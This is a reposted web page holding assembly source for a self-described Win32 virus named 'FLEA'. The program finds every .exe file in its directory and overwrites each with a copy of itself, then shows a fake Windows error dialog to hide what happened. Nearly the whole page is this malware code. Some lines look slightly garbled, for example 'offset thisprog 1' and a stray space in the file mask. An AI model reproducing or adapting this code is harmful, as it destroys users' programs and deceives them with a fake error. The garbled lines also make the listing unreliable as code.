Flea.asm

xiaoxiao2021-03-05  28

.386

.MODEL FLAT

Jumps

EXTRN GETCOMMANDLINEA: PROC

EXTRN LSTRCPYA: PROC

EXTRN FINDFIRSTFILEA: PROC

EXTRN COPYFILEA: PROC

EXTRN FINDNEXTFILEA: PROC

EXTRN Messageboxa: Proc

EXTRN EXITPROCESS: PROC

.DATA

Copyright DB 'Win32.FLEA Virus'

DB 'Version 1.0'

DB 'by -dia- (c) 02'

DB '[My 1st Win32 Virus!]'

FakeError DB 'Windows Error 300687', 10, 13

DB 'Can not locate the entry point!', 0

Filemask DB '* .exe', 0

Win32FindData DD 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

Whatmake DD 200D DUP (0)

MakeThat DD 200D DUP (0)

Thisprog DD 200D DUP (0)

FindHandle DD 0

.code

Start:

Call getcommandlinea

Push EAX

Push offset thisprog

Call lstrcpya

GetPoint:

CMP Byte Ptr [EAX], '.'

JZ FoundPoint

INC EAX

JMP getPoint

FoundPoint:

Add Eax, 4D

MOV Byte Ptr [EAX], 00

Push Offset Win32Finddata

Push Offset Filemask

Call FindfirstFilea

Mov DWORD PTR [FindHandle], EAX

FINDNEXT:

CMP EAX, -1

Je ErrorMSG

OR EAX, EAX

JZ ErrorMSG

Push Offset Whatmake

Push Offset MakeThat

Call lstrcpya

PUSH 0

Push Offset MakeThat

Push Offset thisprog 1

Call Copyfilea

Push Offset Win32Finddata

Push DWORD PTR [FindHandle]

Call FindnextFilea

JMP FindNext

ErrorMSG:

Push 16

Push Offset thisprog 1

Push Offset Fakeerror

PUSH 0

Call Messageboxa

PUSH 0

Call EXITPROCESS

End Start

转载请注明原文地址:https://www.9cbs.com/read-37587.html

New Post(0)